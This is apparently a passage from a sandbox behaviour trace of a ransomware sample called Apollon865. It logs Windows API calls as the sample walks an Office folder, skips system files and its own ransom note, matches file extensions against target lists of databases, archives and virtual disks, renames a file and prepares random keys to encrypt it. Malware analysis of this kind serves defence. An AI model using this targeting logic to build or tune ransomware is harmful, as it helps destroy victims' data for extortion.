	[0066.884] lstrlenW (lpString="fmp12") returned 5
	[0066.884] lstrcmpiW (lpString1="D.DPV", lpString2="fmp12") returned -1
	[0066.884] lstrlenW (lpString="fmpsl") returned 5
	[0066.884] lstrcmpiW (lpString1="D.DPV", lpString2="fmpsl") returned -1
	[0066.884] lstrlenW (lpString="fol") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fol") returned -1
	[0066.884] lstrlenW (lpString="fp3") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fp3") returned -1
	[0066.884] lstrlenW (lpString="fp4") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fp4") returned -1
	[0066.884] lstrlenW (lpString="fp5") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fp5") returned -1
	[0066.884] lstrlenW (lpString="fp7") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fp7") returned -1
	[0066.885] lstrlenW (lpString="fpt") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="fpt") returned -1
	[0066.885] lstrlenW (lpString="frm") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="frm") returned -1
	[0066.885] lstrlenW (lpString="gdb") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.885] lstrlenW (lpString="gdb") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="gdb") returned -1
	[0066.885] lstrlenW (lpString="grdb") returned 4
	[0066.885] lstrcmpiW (lpString1=".DPV", lpString2="grdb") returned -1
	[0066.885] lstrlenW (lpString="gwi") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="gwi") returned -1
	[0066.885] lstrlenW (lpString="hdb") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="hdb") returned -1
	[0066.885] lstrlenW (lpString="his") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="his") returned -1
	[0066.885] lstrlenW (lpString="ib") returned 2
	[0066.885] lstrcmpiW (lpString1="PV", lpString2="ib") returned 1
	[0066.885] lstrlenW (lpString="idb") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="idb") returned -1
	[0066.885] lstrlenW (lpString="ihx") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="ihx") returned -1
	[0066.885] lstrlenW (lpString="itdb") returned 4
	[0066.885] lstrcmpiW (lpString1=".DPV", lpString2="itdb") returned -1
	[0066.885] lstrlenW (lpString="itw") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="itw") returned -1
	[0066.885] lstrlenW (lpString="jet") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="jet") returned -1
	[0066.885] lstrlenW (lpString="jtx") returned 3
	[0066.885] lstrcmpiW (lpString1="DPV", lpString2="jtx") returned -1
	[0066.885] lstrlenW (lpString="kdb") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="kdb") returned -1
	[0066.886] lstrlenW (lpString="kexi") returned 4
	[0066.886] lstrcmpiW (lpString1=".DPV", lpString2="kexi") returned -1
	[0066.886] lstrlenW (lpString="kexic") returned 5
	[0066.886] lstrcmpiW (lpString1="D.DPV", lpString2="kexic") returned -1
	[0066.886] lstrlenW (lpString="kexis") returned 5
	[0066.886] lstrcmpiW (lpString1="D.DPV", lpString2="kexis") returned -1
	[0066.886] lstrlenW (lpString="lgc") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="lgc") returned -1
	[0066.886] lstrlenW (lpString="lwx") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="lwx") returned -1
	[0066.886] lstrlenW (lpString="maf") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="maf") returned -1
	[0066.886] lstrlenW (lpString="maq") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="maq") returned -1
	[0066.886] lstrlenW (lpString="mar") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="mar") returned -1
	[0066.886] lstrlenW (lpString="marshal") returned 7
	[0066.886] lstrcmpiW (lpString1="GAD.DPV", lpString2="marshal") returned -1
	[0066.886] lstrlenW (lpString="mas") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="mas") returned -1
	[0066.886] lstrlenW (lpString="mav") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="mav") returned -1
	[0066.886] lstrlenW (lpString="maw") returned 3
	[0066.886] lstrcmpiW (lpString1="DPV", lpString2="maw") returned -1
	[0066.886] lstrlenW (lpString="mdbhtml") returned 7
	[0066.886] lstrcmpiW (lpString1="GAD.DPV", lpString2="mdbhtml") returned -1
	[0066.886] lstrlenW (lpString="mdn") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="mdn") returned -1
	[0066.887] lstrlenW (lpString="mdt") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="mdt") returned -1
	[0066.887] lstrlenW (lpString="mfd") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="mfd") returned -1
	[0066.887] lstrlenW (lpString="mpd") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="mpd") returned -1
	[0066.887] lstrlenW (lpString="mrg") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="mrg") returned -1
	[0066.887] lstrlenW (lpString="mud") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="mud") returned -1
	[0066.887] lstrlenW (lpString="mwb") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="mwb") returned -1
	[0066.887] lstrlenW (lpString="myd") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="myd") returned -1
	[0066.887] lstrlenW (lpString="ndf") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="ndf") returned -1
	[0066.887] lstrlenW (lpString="nnt") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="nnt") returned -1
	[0066.887] lstrlenW (lpString="nrmlib") returned 6
	[0066.887] lstrcmpiW (lpString1="AD.DPV", lpString2="nrmlib") returned -1
	[0066.887] lstrlenW (lpString="ns2") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="ns2") returned -1
	[0066.887] lstrlenW (lpString="ns3") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="ns3") returned -1
	[0066.887] lstrlenW (lpString="ns4") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="ns4") returned -1
	[0066.887] lstrlenW (lpString="nsf") returned 3
	[0066.887] lstrcmpiW (lpString1="DPV", lpString2="nsf") returned -1
	[0066.887] lstrlenW (lpString="nv") returned 2
	[0066.888] lstrcmpiW (lpString1="PV", lpString2="nv") returned 1
	[0066.888] lstrlenW (lpString="nv2") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="nv2") returned -1
	[0066.888] lstrlenW (lpString="nwdb") returned 4
	[0066.888] lstrcmpiW (lpString1=".DPV", lpString2="nwdb") returned -1
	[0066.888] lstrlenW (lpString="nyf") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="nyf") returned -1
	[0066.888] lstrlenW (lpString="odb") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.888] lstrlenW (lpString="odb") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.888] lstrlenW (lpString="oqy") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="oqy") returned -1
	[0066.888] lstrlenW (lpString="ora") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="ora") returned -1
	[0066.888] lstrlenW (lpString="orx") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="orx") returned -1
	[0066.888] lstrlenW (lpString="owc") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="owc") returned -1
	[0066.888] lstrlenW (lpString="p96") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="p96") returned -1
	[0066.888] lstrlenW (lpString="p97") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="p97") returned -1
	[0066.888] lstrlenW (lpString="pan") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="pan") returned -1
	[0066.888] lstrlenW (lpString="pdb") returned 3
	[0066.888] lstrcmpiW (lpString1="DPV", lpString2="pdb") returned -1
	[0066.889] lstrlenW (lpString="pdm") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="pdm") returned -1
	[0066.889] lstrlenW (lpString="pnz") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="pnz") returned -1
	[0066.889] lstrlenW (lpString="qry") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="qry") returned -1
	[0066.889] lstrlenW (lpString="qvd") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="qvd") returned -1
	[0066.889] lstrlenW (lpString="rbf") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="rbf") returned -1
	[0066.889] lstrlenW (lpString="rctd") returned 4
	[0066.889] lstrcmpiW (lpString1=".DPV", lpString2="rctd") returned -1
	[0066.889] lstrlenW (lpString="rod") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="rod") returned -1
	[0066.889] lstrlenW (lpString="rodx") returned 4
	[0066.889] lstrcmpiW (lpString1=".DPV", lpString2="rodx") returned -1
	[0066.889] lstrlenW (lpString="rpd") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="rpd") returned -1
	[0066.889] lstrlenW (lpString="rsd") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="rsd") returned -1
	[0066.889] lstrlenW (lpString="sas7bdat") returned 8
	[0066.889] lstrlenW (lpString="sbf") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="sbf") returned -1
	[0066.889] lstrlenW (lpString="scx") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="scx") returned -1
	[0066.889] lstrlenW (lpString="sdb") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="sdb") returned -1
	[0066.889] lstrlenW (lpString="sdc") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="sdc") returned -1
	[0066.889] lstrlenW (lpString="sdf") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="sdf") returned -1
	[0066.889] lstrlenW (lpString="sis") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="sis") returned -1
	[0066.889] lstrlenW (lpString="spq") returned 3
	[0066.889] lstrcmpiW (lpString1="DPV", lpString2="spq") returned -1
	[0066.889] lstrlenW (lpString="te") returned 2
	[0066.889] lstrcmpiW (lpString1="PV", lpString2="te") returned -1
	[0066.890] lstrlenW (lpString="teacher") returned 7
	[0066.890] lstrcmpiW (lpString1="GAD.DPV", lpString2="teacher") returned -1
	[0066.890] lstrlenW (lpString="tmd") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="tmd") returned -1
	[0066.890] lstrlenW (lpString="tps") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="tps") returned -1
	[0066.890] lstrlenW (lpString="trc") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.890] lstrlenW (lpString="trc") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.890] lstrlenW (lpString="trm") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="trm") returned -1
	[0066.890] lstrlenW (lpString="udb") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="udb") returned -1
	[0066.890] lstrlenW (lpString="udl") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="udl") returned -1
	[0066.890] lstrlenW (lpString="usr") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="usr") returned -1
	[0066.890] lstrlenW (lpString="v12") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="v12") returned -1
	[0066.890] lstrlenW (lpString="vis") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="vis") returned -1
	[0066.890] lstrlenW (lpString="vpd") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="vpd") returned -1
	[0066.890] lstrlenW (lpString="vvv") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="vvv") returned -1
	[0066.890] lstrlenW (lpString="wdb") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="wdb") returned -1
	[0066.890] lstrlenW (lpString="wmdb") returned 4
	[0066.890] lstrcmpiW (lpString1=".DPV", lpString2="wmdb") returned -1
	[0066.890] lstrlenW (lpString="wrk") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="wrk") returned -1
	[0066.890] lstrlenW (lpString="xdb") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="xdb") returned -1
	[0066.890] lstrlenW (lpString="xld") returned 3
	[0066.890] lstrcmpiW (lpString1="DPV", lpString2="xld") returned -1
	[0066.890] lstrlenW (lpString="xmlff") returned 5
	[0066.891] lstrcmpiW (lpString1="D.DPV", lpString2="xmlff") returned -1
	[0066.891] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5aaf00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5aaf00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGAD.XML", cAlternateFileName="")) returned 1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2=".") returned 1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="..") returned 1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="windows") returned -1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="bootmgr") returned 1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="temp") returned -1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="pagefile.sys") returned -1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="boot") returned 1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="ids.txt") returned -1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="ntuser.dat") returned -1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="perflogs") returned -1
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2="MSBuild") returned -1
	[0066.891] lstrlenW (lpString="DGAD.XML") returned 8
	[0066.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV") returned 58
	[0066.891] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGAD.XML" | out: lpString1="DGAD.XML") returned="DGAD.XML"
	[0066.891] lstrlenW (lpString="DGAD.XML") returned 8
	[0066.891] lstrlenW (lpString="Apollon865") returned 10
	[0066.891] lstrlenW (lpString=".dll") returned 4
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2=".dll") returned 1
	[0066.891] lstrlenW (lpString=".lnk") returned 4
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2=".lnk") returned 1
	[0066.891] lstrlenW (lpString=".ini") returned 4
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2=".ini") returned 1
	[0066.891] lstrlenW (lpString=".sys") returned 4
	[0066.891] lstrcmpiW (lpString1="DGAD.XML", lpString2=".sys") returned 1
	[0066.891] lstrlenW (lpString="DGAD.XML") returned 8
	[0066.891] lstrlenW (lpString="bak") returned 3
	[0066.891] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0066.891] lstrlenW (lpString="ba_") returned 3
	[0066.891] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0066.891] lstrlenW (lpString="dbb") returned 3
	[0066.891] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0066.891] lstrlenW (lpString="vmdk") returned 4
	[0066.892] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0066.892] lstrlenW (lpString="rar") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0066.892] lstrlenW (lpString="zip") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0066.892] lstrlenW (lpString="tgz") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0066.892] lstrlenW (lpString="vbox") returned 4
	[0066.892] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0066.892] lstrlenW (lpString="vdi") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0066.892] lstrlenW (lpString="vhd") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0066.892] lstrlenW (lpString="vhdx") returned 4
	[0066.892] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0066.892] lstrlenW (lpString="avhd") returned 4
	[0066.892] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0066.892] lstrlenW (lpString="db") returned 2
	[0066.892] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0066.892] lstrlenW (lpString="db2") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0066.892] lstrlenW (lpString="db3") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0066.892] lstrlenW (lpString="dbf") returned 3
	[0066.892] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0066.894] lstrlenW (lpString="mdf") returned 3
	[0066.894] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0066.894] lstrlenW (lpString="mdb") returned 3
	[0066.894] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0066.894] lstrlenW (lpString="sql") returned 3
	[0066.894] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0066.894] lstrlenW (lpString="sqlite") returned 6
	[0066.894] lstrcmpiW (lpString1="AD.XML", lpString2="sqlite") returned -1
	[0066.894] lstrlenW (lpString="sqlite3") returned 7
	[0066.894] lstrcmpiW (lpString1="GAD.XML", lpString2="sqlite3") returned -1
	[0066.894] lstrlenW (lpString="sqlitedb") returned 8
	[0066.894] lstrlenW (lpString="xml") returned 3
	[0066.894] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0066.894] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML.Apollon865") returned 69
	[0066.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.897] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=958) returned 1
	[0066.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0066.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.897] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.897] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.898] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.898] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.898] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x100
	[0066.899] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0066.900] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.901] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.901] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0066.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0066.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.902] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.902] CloseHandle (hObject=0x100) returned 1
	[0066.902] CloseHandle (hObject=0x15c) returned 1
	[0066.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.902] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x580000) returned 1
	[0066.902] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc92fc900, ftCreationTime.dwHighDateTime=0x1c7e8c2, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92fc900, ftLastWriteTime.dwHighDateTime=0x1c7e8c2, nFileSizeHigh=0x0, nFileSizeLow=0x5269, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGATNGET.DPV", cAlternateFileName="")) returned 1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2=".") returned 1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="..") returned 1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="windows") returned -1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="bootmgr") returned 1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="temp") returned -1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="pagefile.sys") returned -1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="boot") returned 1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="ids.txt") returned -1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="ntuser.dat") returned -1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="perflogs") returned -1
	[0066.902] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2="MSBuild") returned -1
	[0066.902] lstrlenW (lpString="DGATNGET.DPV") returned 12
	[0066.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML") returned 58
	[0066.903] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGATNGET.DPV" | out: lpString1="DGATNGET.DPV") returned="DGATNGET.DPV"
	[0066.903] lstrlenW (lpString="DGATNGET.DPV") returned 12
	[0066.903] lstrlenW (lpString="Apollon865") returned 10
	[0066.903] lstrcmpiW (lpString1="ATNGET.DPV", lpString2="Apollon865") returned 1
	[0066.903] lstrlenW (lpString=".dll") returned 4
	[0066.903] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2=".dll") returned 1
	[0066.903] lstrlenW (lpString=".lnk") returned 4
	[0066.903] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2=".lnk") returned 1
	[0066.903] lstrlenW (lpString=".ini") returned 4
	[0066.903] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2=".ini") returned 1
	[0066.903] lstrlenW (lpString=".sys") returned 4
	[0066.903] lstrcmpiW (lpString1="DGATNGET.DPV", lpString2=".sys") returned 1
	[0066.903] lstrlenW (lpString="DGATNGET.DPV") returned 12
	[0066.903] lstrlenW (lpString="bak") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.903] lstrlenW (lpString="ba_") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.903] lstrlenW (lpString="dbb") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.903] lstrlenW (lpString="vmdk") returned 4
	[0066.903] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.903] lstrlenW (lpString="rar") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.903] lstrlenW (lpString="zip") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.903] lstrlenW (lpString="tgz") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.903] lstrlenW (lpString="vbox") returned 4
	[0066.903] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.903] lstrlenW (lpString="vdi") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.903] lstrlenW (lpString="vhd") returned 3
	[0066.903] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.903] lstrlenW (lpString="vhdx") returned 4
	[0066.903] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.903] lstrlenW (lpString="avhd") returned 4
	[0066.903] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.903] lstrlenW (lpString="db") returned 2
	[0066.904] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.904] lstrlenW (lpString="db2") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.904] lstrlenW (lpString="db3") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.904] lstrlenW (lpString="dbf") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.904] lstrlenW (lpString="mdf") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.904] lstrlenW (lpString="mdb") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.904] lstrlenW (lpString="sql") returned 3
	[0066.904] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.904] lstrlenW (lpString="sqlite") returned 6
	[0066.904] lstrcmpiW (lpString1="ET.DPV", lpString2="sqlite") returned -1
	[0066.904] lstrlenW (lpString="sqlite3") returned 7
	[0066.904] lstrcmpiW (lpString1="GET.DPV", lpString2="sqlite3") returned -1
	[0066.904] lstrlenW (lpString="sqlitedb") returned 8
	[0066.904] lstrcmpiW (lpString1="NGET.DPV", lpString2="sqlitedb") returned -1
